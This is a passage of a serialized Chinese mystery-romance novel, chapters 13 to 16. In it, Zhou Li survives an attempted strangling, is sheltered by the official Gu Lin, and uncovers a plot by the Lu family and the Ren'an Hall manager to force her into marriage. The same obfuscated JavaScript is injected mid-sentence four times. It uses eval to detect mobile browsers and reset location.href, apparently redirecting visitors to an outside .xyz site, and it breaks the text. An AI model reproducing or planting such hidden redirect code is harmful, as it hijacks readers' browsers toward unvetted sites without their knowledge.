壮汉没理她，倒是矮个从壮汉身上撕了块布，歪歪扭扭给他围了两圈，围好了壮汉也没说什么，只站起来靠着矮个继续往前走：“就这样扶着我。” 可没走多远，两人都支撑不住，矮个对高个道：“我不行了，把那娘们给我押着，换你来扶一会！” 高个道：“这也不是办法啊，我们这样太慢了，一会儿有人追上来我们都跑不掉。” “那你说怎么办？咱俩一起架着他走倒快点，那能嘛！” 这时壮汉示意矮个先停下，又靠着矮个转身看着周梨道：“先把她就地解决了吧。” 听到这话不仅周梨似突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047241|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遭雷击一般，那两人也吓了一跳，高个道：“我可不敢杀人！” 矮个道：“不是只让我们来抓人吗？老大没说要杀啊。” “刚刚出来的时候，老大又说了，如果没法把人带回去，能杀就杀。” 矮个拒绝道：“我没杀过人，我也不敢。” 壮汉冷笑道：“娘们唧唧的！一回生二回熟，你们这鸟样怎么干大事？” 高个颤巍巍道：“说是这么说，怎么杀啊？你刀呢？” 壮汉道；“那天办完事扔了，这些天城门口查得严，还没弄一把趁手的。” “那怎么杀啊？” 周梨那一瞬间的恐惧在五脏六腑走了一圈后，反倒镇静了下来，此刻她竟还能静静听着他们讨论如何杀自己，一阵沉默之后，只听壮汉指着她旁边高个腰间的汗巾道：“把这个解下来，你们俩一起把她勒死。” 高个怔愣地点点头，松开一只手低头去解汗巾，将要解下时，周梨趁他不备，往他□□狠狠踢了一脚，高个惨叫一声，下意识用双手捂住裆部，周梨趁机迅速转身奔逃起来。壮汉大吼：“快追！” 高个疼得厉害，还佝偻在原地，矮个放壮汉坐下，抽出高个的汗巾便奋力追过去，周梨虽不像闺秀们那般较弱，跑不动路，但到底速度敌不上男子，不一会便被套住了脖子，跌倒在地。 她挣扎着想站起来，可身后矮个将汗巾交叉，越收越紧，她双手拉扯着脖子上的汗巾，跪坐在地上，越发喘不过来气。 这时候高个也跌跌撞撞跑过来，接过汗巾的一端，与矮个分站两边，用十足的力气往后拉。 周梨再呼吸不了一丝丝空气，她微仰着头，只能看见日头和几只飞鸟，这辈子就要这样结束了吗？神识渐渐模糊，慢慢陷入了黑暗，脑海里有许多欣喜的、绝望的画面闪过，又破碎，带着她一起坠入深渊，可突然有什么声音，好似拉住了她，听不真切，哒哒，哒哒，是马蹄声吗？ 带着一丝清明划破了混沌，接着一声惨叫，她突然往前一窜，趴倒在地，脖子一松，她不由连咳了几声，渐渐清醒一些，往后看去，矮个腿上中了一箭倒在地上，高个正拼命往前跑。 她再往马蹄声的方向望去，只见三匹马正向这边奔来，当先一人一袭月白衣裳，袍袖翻飞，在疾驰的马上挽弓射箭，一气呵成，太阳光笼在他背后，闪了周梨的眼，她还没来得及看清，便又听到一声惨叫，回头再看果然高个也腿上中箭倒下了，再远处壮汉还在跌跌撞撞地跑，两匹马从她身旁飞奔而过，一眨眼便把几人都拿下了。 周梨恍恍惚惚地笑了，真是福星高照呢，又死里逃生了吗？ “周姑娘，周姑娘……” 不知是谁在叫她，周梨缓缓转过头，眼前却十分模糊，努力了半天才艰难认出来人，不禁笑道：“大人，又是你啊……”才说完，眼前一黑，终于晕倒过去。 14. 缘分 是不是人快死的时候，最在乎的人和事都会在脑海里浮现？ 周梨先看到自己欢喜地试穿嫁衣，母亲微笑着点头，父亲却写了一纸退婚书，告诉她婚事从此作罢，来不及难过，父亲突然被抓走，不久父亲死讯传来，母亲殉他而去； 忽而又见自己站在教坊司的花船上投了湖； 再又出现在仁安堂里，听到弟弟发配到徐闻不久后就病死了…… 周梨从梦魇里挣扎出来，睁开眼睛，撑坐起来，仿佛从前世回到今生，却一时认不出身在哪里，倒是有个老婆子上前道:“周姑娘，你醒了？” 周梨沙哑着问道:“你是谁？这是哪里？” “这里是巡抚衙门后院，我姓朱，你管我叫朱妈就成。” “巡抚衙门？我为什么会在这里？”周梨有些错愕，转瞬又想起是顾临救了她，可也不应当躺在这里啊。 朱妈笑道：“是大人带你回来的，还嘱咐我好好照顾你。” 周梨站起身，有一阵晕眩之感，稳住看了看窗外，太阳快要落山了，又问朱妈道：“我在这里睡了大半日了吗？” “姑娘已经昏睡一昼夜了。” 周梨有些惊讶，都这么久了，张进他们知不知道自己在这里，不知道的话舅妈该急死了，但如果知道的话怎么也会把她接回家的，还不知道楚云他们怎么样了，得赶紧回家才是。 她忙忙穿上衣服，问道：“大人在吗？我去叩谢他。” 这时房门被敲响了，朱妈道：“进来。”接着房门被推开，一个小厮送进来些粥和小菜，便又退了出去。 朱妈道：“大人还没回来，姑娘莫急，先用些粥吧，陈大夫交代要吃些清淡的。大人也吩咐了，姑娘在此养病，你家人已知晓，请姑娘放心，在这安心住下。” “安心住下？都醒了还不能走吗？”周梨腹诽了两句，不过确实要吃点东西，否则她现在的情况肯定走不回家，她应了声“好”，便坐下慢慢喝起粥来，心中却不停琢磨。 把她扣在这里是对她有疑，还是她有什么自己都不知道的用处？ 正想着，朱妈也在旁边坐下，又从头到脚细细打量了她一番后，带着微笑点了点头问道：“姑娘多大了啊？” 周梨愣了一愣，答道：“二十三了。” “不小了啊！这么水灵的姑娘，怎么耽误到现在还没嫁人？”朱妈掩饰不住地惋惜，转而似乎又有些庆幸，“不过缘分说不准嘛！要不也遇不上我们大人。” 周梨又愣了愣道：“朱妈，您误会了，我跟大人没什么，他昨日救了我……” “我知道我知道，”朱妈以为她不好意思，笑着打断她道，“昨日你昏迷着，是大人把你抱回来的。” 周梨听了这话，不觉红了脸，朱妈好似看破一切，继续笑道：“上次大人脖子上的伤也是因为你吧？” “是，那也是误会……” “这就是缘分啊！”朱妈又语重心长地打断道。 周梨无奈，继续低头喝起了粥，不打算再解释了。 朱妈以为她害羞了，也就另起话头：“其实你遇见大人前一日，我因为路过老家，暂歇了两日，没跟大人同行，要不然一早就认识你了。” 说完也没等周梨答话，又问起了她家里有哪些人，都做什么之类。虽然周梨尽力快速地喝完了粥，朱妈还是对她的家庭情况了解了颇多，并且没有结束的意思。 不过好在顾临适时地带着平安出现了，打断了朱妈的摸底工作。他一身常服站在门口，儒雅从容，与昨日骑射的飒爽英姿，又十分不同。平安在他身后道：“朱妈，你忙了一天，早点去用饭吧，大人有事找周姑娘。” 朱妈“会意”地起身，满面笑容连应了几声才离开了。 平安不禁望着她的背影嘀咕了声：“朱妈今日怎么这么高兴？”再转过身，只见周梨已经跪在地上，端端正正磕了一个头道：“谢大人救命之恩。” 顾临看她如此郑重，并没有阻止，等她磕完头才道：“起来吧，不必如此的。” “因为无以为报，只能磕个头先欠着大人的恩情。”周梨笑着爬起来，“真没想到大人还会骑马射箭。” 顾临这时看见她脖子上的勒痕，愈发青紫了些，衬着她的笑容竟有些惨淡。今日若不是他回城时，恰巧遇到那辆受惊的马车，恐怕她就真遭不测了。他垂了垂眸，转而道：“周姑娘，请坐，我有事相询。”待周梨坐回原来的位置，他也跨步坐到了桌前，平安立在门口候着。 快落山的太阳，将平安的影子拉得老长，也将最后的余辉撒进屋内，都铺在顾临的身上，让周梨有那么一刻感到无比安宁静谧。 但顾临开口打破了这静谧：“留姑娘在此，是怕姑娘你再遇险境，还请莫怪，这事只有你家人和陈大夫知晓。和姑娘一起的两位姑娘，也都安然无恙，你不必担心。” 周梨听如此说，才松了一口气，注意力都集中到被害这件事情上，不禁问道：“再遇？知道是谁要害我了吗？” 顾临摇摇头：“那三人只其中一人见过给他下命令的人，但不肯招。车夫也跑了，还没找到。所以来问问你有没有线索？” 周梨想了想，却反问道：“大人，仁安堂里是不是有问题？来升真的是畏罪自杀吗？” “来升不是自杀，我才来还掌控不了所有势力。”顾临看周梨的目光变得深沉，“你也怀疑你两次遇险，跟仁安堂有关吗？” 周梨点了点头又问：“是按察使司？”这件案子直接跳过县里去了府里审，永州知府受各方监督，大概不敢独自从中做手脚。但按察使司监督地方刑狱，要不留痕迹弄死一个狱中的人，他们定然知晓内情，不管是否勾连府里，按察使司都逃不了干系。 “并没有证据。”顾临意外地看了她一眼，继续问道，“为何认为与仁安堂有关？” “原本只是我多疑猜测罢了，我那次被掳太巧合了，刚好就在山匪出劫那天，刚好我师父醉酒没来，刚好只认我师父的病人阿瑞突然吃坏肚子，而且那几个山匪明显认得我，只在那蹲守我， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047242|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不相信有这么多巧合。如果真的是有人要害我，那次我真的被抓走了，肯定没有人会怀疑那不是意外。这安排得太巧妙了是不是？而能做到这些的，只有十分了解仁安堂和我的人能做到。” 周梨平静地说着，微微皱着眉头：“我观察了他们好几天，却找不到证据，直到昨天，我在静安寺遇到了阿瑞，他那日腹泻不止，我问了他父母情况，推测是因为他前一日吃的糖葫芦有问题。昨日我遇着他时，他正好看见给他糖葫芦的货郎，那人竟看见阿瑞盯着他就跑了，慌乱中撞倒了人，我才注意到他，那人我认识，是经常去仁安堂卖药的背篓客，我出城看诊那个早上到仁安堂时，他正和李掌柜说话，我进去他便走了。” “他昨日是暗中跟踪你？” “应当是的，我知道后便追过去找他，可怎么也找不到，后来就遇到那三人了。他们昨日原本应该只是想把我抓走，和上次一样，所以并没有带刀之类的。”周梨顿了顿，“后来要杀我，一是因为有人受伤了，带着我不好跑；二是因为他们头临时改了主意，告知他们如果抓不到活的，就把我杀了。我想可能就是因为我发现了这个秘密吧，他们的头十有八九就是背篓客。” 顾临沉默了片刻问道:“你跟他有什么仇怨吗？为何要如此费尽心机害你？” 周梨摇头：“我原本猜想是有人要阻止我嫁到陆家，可最近发生了这么多事，陆家早已没有娶我的打算了，我不知道他们为何还要害我。” 顾临忽而抬眼看她：“陆家昨日上午，抬了聘礼正式去你家提亲了。” 这下周梨沉默了，虽然都是猜测，但好像更合乎情理了。昨日提亲，陆家必定早几日就在准备聘礼了，所以还是因为婚事，才又对她动手？但是陆家为什么非得娶她？ “你怀疑谁？”顾临问道。 “陆志远的妾室吴娘子有动机，但如此周密安排，少不了李掌柜。”周梨说得直白，又问顾临，“大人是不是怀疑仁安堂有人通匪？” 顾临不置可否，手指在桌上敲了两下道：“何出此言？” “大人以孟书吏为饵，设计抓获来升，就是料定会有人来灭口不是吗？为何要灭口？自然是怕共同的阴谋泄露。大人一上任肯定先要铲除内奸，本就对孟书吏起疑，那日从我口中知道孟书吏自您来后，每日都会来仁安堂，就怀疑到仁安堂了是吗？” “不错，你很聪慧。”顾临莞尔一笑，赞赏地望着周梨圆而亮的眼睛道。 不知是因为他的夸赞还是他的笑容，周梨突然间心砰砰跳动起来，她赶忙敛眸微微笑了笑，交握的双手不自觉捏得更紧，掩饰了自己的心慌后才道:“大人接下来想怎么办？我能做什么吗？” 顾临垂眸，手指又在桌上敲了几下，抬眼笑道：“不如我们来验证一下。” 周梨好奇道：“如何验证？” 顾临沉默了一会，反问道：“不过姑娘打算嫁去陆家吗？” 周梨脱口而出：“自然不打算。” 顾临笑道：“那就好。” 15. 姓名 摇曳的烛火，让本就心绪不宁的吴娘子，更添了几分忧戚。她卸下钗环，看着镜中铅华洗净的脸，竟有些陌生，不自觉越发心烦意乱起来。 这时她的丫鬟喜儿推门进来禀道：“夫人，老爷还在老夫人屋里。” “怎么这么久？”吴娘子喃喃道。 喜儿摇头：“不知道，我站得远，只听到摔茶盏的声音，好像是老夫人在发脾气。” 吴娘子依旧对着镜子，篦着头发，半晌没吭声，喜儿小声问道:“夫人？还要去候着吗？” “不用了，先下去吧。”吴娘子挥了挥手，掩门声在身后响起，她才放下篦子。 傍晚时分，李掌柜急急传来消息，说派去抓周梨的人消失了，各处都打听了，也找不到人。 而周梨和楚云呢？似乎马车失控被人救了，受了点惊吓而已。 可李掌柜派去的人，都没有见到周梨露面，但张家也没见什么异常。 所以到底怎么回事？老太太又在生什么气，因为张家还没应下婚事吗？周梨是真不想嫁来陆家？可那不是昨天的事吗…… 她就这样又混想了不知多久，推门声才将她又拉回了当下。 她忙站起身，上前去迎了陆志远进来，为他宽了衣才笑问道：“又怎么了？” “还不是张家的婚事。” 吴娘子边将衣裳挂好边不经意道：“昨日不是收下聘礼了吗？” “只不过还当我是东家，他们没好当场扫我陆家面子罢了。”陆志远坐到床边，伸手锤了锤后脖颈，有些疲倦。 吴娘子坐到他身旁，帮他捏起了肩：“昨夜去了哪里，怎么这样疲惫？” “没什么，安排了些事情。”陆志远握住了吴娘子的手，轻声道，“委屈你了。” 吴娘子笑道：“我有什么委屈的？” “是我食言了，但你放心，周梨进了门，也只有虚名，不会改变你的位置一分一毫。” 吴娘子的心似乎真切感受到了，瞬间凉了半截的滋味，强笑道：“老爷的心，妾都明白。” 陆志远欣慰地又拍了拍她的手。 两人沉默了半晌，吴娘子才又问道：“可是周姑娘不是不愿吗？” “哼，是没想到张家竟这般纵着这个孤女，送去那么多钱财，都不为所动。但她当真以为能倒反天罡，决定自己的婚姻大事不成？”陆志远很是不屑，“既然娘认准了，她就必须得嫁进来。” “娘前些日子不是改变主意，在重新找命格相同的姑娘了吗？怎么如今又非要周姑娘不可？” “哪里那么好找，又赶着仁安堂接连出了两条人命，娘就更坚信不疑了。又去请道长相看了一番，道长果然说周梨的八字，再好不过，最宜驱灾避祸，而且断言必须十八之前完婚，否则也于事无补。” “这个月十八？” “是就十几日了，但来得及，你明日起就开始布置安排起来吧。”陆志远说得很轻松。 吴娘子却着实没想到：“你打算怎么做？” “我自有办法。”陆志远笃定道。 吴娘子依旧不甘心，小心提醒道：“可是周姑娘不是与新来的抚按有些瓜葛吗？会不会出事？” “他吗？”陆志远冷笑了声，“一个来升都搞不定，一介腐儒，自身都难保呢！不足为患。” 吴娘子听到他提到来升，没好再接下话。到底是自己没把事情办好，让来升被抓走，幸而陆志远及时回来灭了口，否则后果不堪设想。 现在她只能指望周梨和那几个人一起消失了，再也不要出现得好。 周梨在巡抚衙门待了不过三四日，觉得自己的腰已然粗了有一圈。 朱妈顿顿盯着她吃饭喝汤，还变着花样做各式点心投喂她，让周梨生了仿佛自己在坐月子的错觉。 这日午饭后，周梨在后院转了几圈，好容易才消了些食。在亭中坐下，琢磨着今日不知能否见着大人，好问问什么时候能回家去，这几日不知道外面怎么样了，也真的不能再这么吃下去了。 大概想得太诚挚，没多久顾临和平安就出现在了她的视线里。 周梨远远便朝着他行了个礼，顾临走到她面前笑道：“几日不见，周姑娘气色好了许多。” 周梨总觉得这话别有深意，笑回道：“多亏朱妈的照料，费了她不少心神。” “嗯，除了脖子上还有些伤痕，其他倒都看不出了。”顾临仔细看了看周梨道。 周梨喜道：“是能让我回去了吗？脖子上的伤，我穿个立领衣裳挡住就可以了。” 顾临笑了笑，慢悠悠坐下才道：“嗯，恐怕是要你露面了。” “跟踪李掌柜有收获了吗？”周梨跟着坐下，有些激动地问道。 “嗯，他确实秘密见了一个人，那人外貌特征都很像你形容的背篓客，我也已命人盯住他了。另外，”顾临顿了顿，看向周梨笑道，“这几日李掌柜还一直派人在你家附近探查，看你究竟在不在。” “大人这招还真管用！”周梨闻言也笑道，不过接着还是感到深深的寒意袭来，“没想到日日都见的人，为着些没有影的事，就能害我至此。” 顾临安慰道：“不必难过，这世上总有些人，是把自己的私心欲念看得比别人性命都重的。” “嗯，那我回去要做些什么？” 顾临道：“回去大概还有很多事情在等着你，陆家正在紧锣密鼓地筹备婚事。” “娶谁？”周梨愣住。 “自然是你。” 周梨笃定道：“我不愿意，舅妈他们一定不会同意婚事的。” “陆志远大概也很笃定一定能娶到你。” “陆志远为什么一定要娶我呢？他要什么样的女子没有？”周梨着实不解。 顾临看着她问道:“难道不是因为他喜欢你，才要娶你吗？” “当然不是，我只在刚进仁安堂的时候，见过他一两回，后来他生意越做越大，仁安堂都是管事和吴娘子在管，他再没来过仁安堂，估计早忘了有我这么个人了。” 顾临闻言点头：“不管因为什么，他执意娶你，恐怕还有后招。李掌柜他们见你无事，却依旧找不到那三人，必定还会对你有所行动，你回去必定要万分小心，我也会派人暗中保护你的。” “好，多谢大人。” 顾临笑道：“是我要多谢你。他们原本铁板一块，因为你生了嫌隙，才好抓住这个漏洞。” 周梨笑笑，正要告辞，却听有人喊道:“周姑娘，原来你在这里呀！”周梨回头，见朱妈提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047243|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着食盒向这里走来，笑容不由凝固在了脸上。 “大人，刚好你们也在，我就不用多送一趟了，一起吃吧。”朱妈笑着将食盒放在亭中石桌上，打开盖子献宝一样，又转向平安道，“平安，快来吃啊，你最喜欢的枣泥糕。” 平安一听这话，猴儿似的跳过来，拿了一块就放到嘴里，边吃边问：“朱妈怎么今天想起来做枣泥糕了？” “因为才知道周姑娘是苏州人啊。”朱妈将碗碟递到周梨面前，“特地为你做的，姑娘多吃点。” 周梨只得拿了一块又吃了起来，顾临也拿起一块问道:“你是苏州人？” “算是吧。” “怎么会到这里来？” “舅妈是永州嫁去苏州的，舅舅过世后，舅妈他们便被娘家人接了回来。后来我们那发了洪水，就我侥幸活了下来，便寻来了这里。”周梨流利地又复述了一遍。 顾临点头，也吃起了枣泥糕。 朱妈笑道:“所以说都是缘分呀，有缘千里来相会。” 周梨被噎得咳了两声，朱妈才想起来忘了拿茶水，一溜烟又跑了。 平安小声问道：“周姑娘，朱妈做的枣泥糕是不是没那么正宗？我总觉得好吃是好吃，就是没有当年我吃的那么好吃。” 周梨笑道：“一个地方有一个地方的味道，朱妈是岭南人，做吃食都是那边的做法，自然不会跟苏州的一样。你要想吃正宗的，可以去东门井我姐姐的铺子尝尝，那里专卖这些苏州小食。不过也不知道跟你吃的一样不一样。” “快吃吧，小心朱妈听到，以后都不给你做了。”顾临瞪了平安一眼。 周梨好笑地随口问道:“大人你们去过苏州吗？” “嗯，年少时去过，在一位亲戚府上吃到这个枣泥糕，很多年了。”顾临轻声回道，思绪似乎飘回了当年。 周梨看他的样子，突然鬼使神差地问道：“大人是哪里人？” “蜀中眉州。” 心似乎漏了半拍，周梨不自觉地捏紧了手，一个念头突然在心里炸开了花，她极力稳住情绪：“是吗？口音完全听不出来。” “我在京城出生，七八岁时才回的原籍。” 周梨点点头没再说话，五脏六腑仿佛有激流涌荡，她害怕一出声，可能声音都是颤抖的。 顾临这时站起了身，又对她一揖:“等会程顺会来送你回家，我还有事，就先告辞了。” 周梨也站起来，稳住自己只说了声：“好。” 顾临笑着转身就走，平安立马跟了上去，周梨看着顾临远去的背影，心里的声音还是忍不住挣脱出来：“顾大人？” 短短几个字艰涩地滑过喉咙，将砰砰跳动的心弦越发绷紧起来，她不知道自己是害怕还是期待，身体开始剧烈颤抖。 顾临闻声止步转过身，笑问道：“怎么了？” 果然姓顾吗？周梨突然又觉得好笑，这么久竟都不知道这位大人姓甚名谁。 她努力稳住，低头又行了个礼道:“谢谢你。” 顾临虽有些诧异，却也没有细究，点点头便转身走了。 周梨等他走远，才转身扶着石桌，坐回了凳子上。她品不出此刻自己是什么心情，只呆望着顾临方才坐着的地方，泪如泉涌。 16. 良心 顾临回书房后，只埋头在案牍前，日头渐渐西沉时，朱妈端着一锅鸡汤，敲响了他的房门。 平安奇道：“朱妈，今天什么日子，怎么又送糕点，又送鸡汤？” 朱妈闷不吭声给顾临盛了碗汤，才道：“不都是给周姑娘做的嘛，谁知道大人这么快就给人送走了。” 顾临接过碗，道了声：“多谢。” 哪知朱妈瞪了他眼道：“不是我说大人，你们这些读书人更该怜香惜玉些才是。您都多大了，喜欢周姑娘就要好好待人家，拌个嘴就把人家送走，算怎么回事？” “什么拌嘴？”顾临端着碗症愣住。 “我哪知道你们拌什么嘴。”朱妈没好气道,“我拿了茶水回去，就见周姑娘眼睛红红的，问只说迷了眼，然后就被你送走了。” “怎么哭了吗？”顾临不解地问。 朱妈道：“这不明摆着，周姑娘不想走嘛。” 平安见朱妈越跑越远，忙打岔道：“朱妈，还有这么多汤，有我和程顺、马齐的份吗？” “能不给你们准备吗？”朱妈白了他一眼。 平安端着汤就往外跑：“喝汤啦喝汤啦！” “你慢些，别摔了我的锅。”朱妈也跟着追出来，带上了房门。 门口程顺、马齐都笑着一起围到院中桌边，一会便把鸡汤给分完了。 朱妈看自己的汤如此受欢迎，心情好了许多，又问程顺道：“周姑娘顺利到家了？以后不来了吗？” “哎呀，朱妈，你怎么三句不离周姑娘！”平安忍不住打断她。 朱妈道：“大人好不容易喜欢个姑娘，我能不关心嘛！” “你到底哪里看出大人喜欢人家了？”平安无奈。 “其实我也这么觉得，大人那天把人抱回来多紧张。”马齐还嫌不够乱，胳膊肘捣了下程顺道，“你觉得呢？” 程顺摇摇头：“我不知道，但是大人对周姑娘好像确实不一样。” “周姑娘长得漂亮，人也聪明，大人要喜欢也不奇怪。但这姑娘太……复杂了点吧？”马齐一时间不知道该用什么词来形容，“大人怎么也得娶个名门千金吧？” “我倒觉得不管怎样，大人喜欢就好，这些年过得跟个苦行僧似的，赶紧娶个喜欢的姑娘就行。”程顺一个草根出身的大老粗，不在意什么门当户对，“依我看周姑娘也不像那些人口中传的那样。” 朱妈附和道：“就是，周姑娘好得很，我看人的眼光绝不会错。” 马齐转头望了眼平安：“你怎么不说话呢？你最清楚大人了，难道看不出什么？” 平安叹了口气：“大人对周姑娘确实不一般，但不单单是喜欢吧。”他回头望了望顾临那间紧闭的房门，继续说道：“今天吃了那块枣泥糕，我才突然想到，大人是想起了以前的未婚妻吧。” 朱妈震惊道：“怎么大人还有未婚妻吗？那周姑娘可怎么办？“ “未婚妻？卢成的女儿？”马齐想了半天才想起来，除了平安，他们都是顾临被贬广东后才跟着他的，对顾临之前的事知道的并不多。 程顺也诧异地问道：“长得很像吗？” “不是，大人没见过卢家小姐。”平安摇摇头，“但他们好像十分有缘，双方长辈乐见其成才订的亲。那年大人欢欢喜喜地去迎亲，快到苏州了才得知卢家出了事，卢大人被押到京城问斩，妻女被没入了南京教坊司，大人赶到南京的时候，只听说卢小姐从花船上跳进了秦淮河里，尸身三日后才被找到打捞起来。” 几人听到这里表情变得凝重起来，平安也沉默了好一会儿，继续道：“现在想来，我们遇到周姑娘的情形可不是一样嘛，只是周姑娘会水逃生了。” 难以释怀的人和事，大概再出现相似境遇时，难免都会伤感甚至移情。 “大人可真是性情中人，原来是因为对卢家小姐念念不忘才至今未娶。”马齐长叹一口气感慨道。 平安白了他一眼：“你话本子看多了吧！大人要不是被贬黜到那岭南，肯定早就儿女成群了。” 朱妈却喃喃道：“这么看大人和周姑娘真是缘分不浅呢！” 周梨回到白衣巷，一进门就瞧见满院的聘礼盒。可儿带着羽儿在院里玩耍，先看到她，就冲过去笑喊道：“姑姑，你终于回来啦！” 周梨笑着蹲下来抱了抱他俩：“想姑姑吗？” “嗯嗯，姑姑回来就好了。”可儿点头，然后凑在周梨耳边道，“我娘偷偷抹眼泪呢，我都瞧见了。” “怎么了？”周梨诧异地问道。 “表姑娘回来啦！”不等可儿说话，李氏已冲了出来。 周梨站起身叫了声：“舅母好。” “好好好，回来就好。”李氏满面堆笑，走过来拉着周梨，“表姑娘，快来看看这些聘礼，屋子里还有许多，放不下才放到了这里。” 周梨不知她为何如此殷勤，只问道：“这聘礼怎么还在这里？” 这时秀珍从厨房里走出来，对周梨笑了笑:“回来啦。” 李氏却道：“表姑娘该看看这些聘礼有多贵重，金银玉器就有七八抬，可见陆家有多抬举。” “你怎么还在这里！快走，这里不欢迎你！”郑氏散着头发，披着衣服跑出来喊道。 秀珍忙过去扶住：“娘，您还是好好躺着吧。” “舅妈，怎么又病了呢？”周梨也上前问道。 郑氏有气无力地摆手：“没事。” 李氏冷笑道：“你舅妈还不是为你婚事操心的，你一个孤女来到这里，这么些年他们一家是怎么对你的，街坊邻居都看得清楚明白。奈何你这么不懂事，一直拗着不嫁，害得他们背后被说了多少闲话。如今有这么好的婚事，你还不愿……” “你住口！”郑氏喊了一声，又不住咳嗽，只断断续续道，“你走，快走！” 秀珍给她拍了拍，求着李氏道：“娘，你就先回去吧。” 李氏几步走过来，抬手就是一巴掌扇在秀珍脸上：“你给我闭嘴！我怎么养出你这么个不孝的东西，还让我回去，回去看着你爹和你哥等死嘛！” 秀珍一时没反应过来，下意识捂住脸，才觉得火辣辣的疼，再忍不住，委屈地眼泪直流，倒说不出一句话来。一旁的可儿和羽儿被这架势吓得哭了起来。邻里听到动静，也三三两两围过来看热闹。 周梨见状抱起羽儿，又拉着可儿进了屋。 屋外李氏却不肯罢休，又恶狠狠指着郑氏道：“当初你们走投无路，是谁千里迢迢去把你们接回来，好吃好喝地供着？就这一个女儿，也嫁给了你家，不说让你们记着点恩情，好歹不能见死不救吧！”说完又拍着大腿哭了起来。 “是哥哥把我们接回来不假，可我们何尝花过你们一分钱！秀珍和进儿那也是两情相悦！”郑氏又咳了两声，继续道，：“你们遇着困难，不用你们说，我们也肯定会出力，但你现在什么意思？你们欠的债，要阿梨去还，是什么道理？” 李氏强辩道:“这怎么是去还债，我也是为表姑娘着想，陆家这么好的人家，表姑娘嫁过去做的还是正头夫人，这是多大的福气。又能解了咱们家的难，岂不是两全其美嘛！” 周梨哄得两个小娃止住了哭声，知道这事跟她脱不开干系，又走出来，扶住李氏，往屋子里请：“舅母，有什么事坐下慢慢说。” “阿梨，你不要管她！”郑氏阻止道。 周梨抬眼看了看院墙四周张望的人头，对郑氏道：“舅妈，都是一家人，别让人家看了笑话去。” 郑氏原本在气头上管不了这些，如今周梨提醒，也觉得实在不好。哼了一声也同秀珍一起，跟着进了厅堂。 周梨这才问道：“舅母，家里出什么事了吗？” 李氏冷也静了些，刚才的气焰一消，竟面露了难色，沉默了半晌，却突然在周梨面前跪下，唬得周梨连忙闪到一边来扶她：“舅母这是做什么，我可受不起！” “娘！”秀珍见她娘如此，哽咽地叫出了声。 李氏却不起，只哭道：“表姑娘，我也知道这事我做得不光彩。但我实在没办法呀！”说着又是一阵呜咽，切实发自肺腑，秀珍也跟着抹起了眼泪，郑氏撇过头，只做不见。 “您要是不起，我就走了。”周梨无奈道，“您平白跪着也不会改变我心意的，不如坐下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059511|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们好好说。” 李氏闻言只得起来，寻了椅子坐下道：“都是秀珍那没出息的哥哥，在赌坊里被人做了局，输了许多钱。要债的上门，把秀珍她爹气得半死，现在还躺在床上不能起来。” “这事跟陆家有关系吗？陆家没有赌坊生意吧？”周梨不解。 “陆家听说了这件事情，说只要我们帮忙促成婚事，就帮我们解决赌债。” “欠了多少银子？” “一千两。”李氏有些木然地说出数字，“还是利滚利，这几天也不知是多少了。我们这小老百姓，砸锅卖铁也还不上个零头啊。” 周梨心里也倒吸了口气，可真狠啊！秀珍她哥，周梨也是知道的，平时是有些好赌，但也不至于这般离谱，能有面子贷到这么多本钱来赌。这件事说是与陆家没关系，路边的狗也不会信吧。 这时院门响了，张进走了进来，后面还跟着秀珍的嫂嫂梅香。 张进进屋一看，有的面带怒气，有的满面泪痕，不禁问道：“你们在做什么？逼着阿梨嫁吗？” “哟，也不心疼自个媳妇为什么哭，先护起外人了！”梅香站门口阴阳怪气道。 李氏问道：“你怎么来了？” 梅香冷冷道：“您儿子，藏也藏不好，被人找出来痛打了一顿，说三天之内还不上钱，后果自负。” 李氏急道：“人没事吧？要不要紧？” “这次是死不了，不过十天半个月，下不了床，下次可说不准就缺胳膊少腿了！” 李氏闻言又呜呜咽咽哭了起来，到底是自己亲侄子，郑氏也不禁叹了口气，满腹担忧之情无处可疏解，只问张进道：“这样随便打人，官府也管不了吗？” 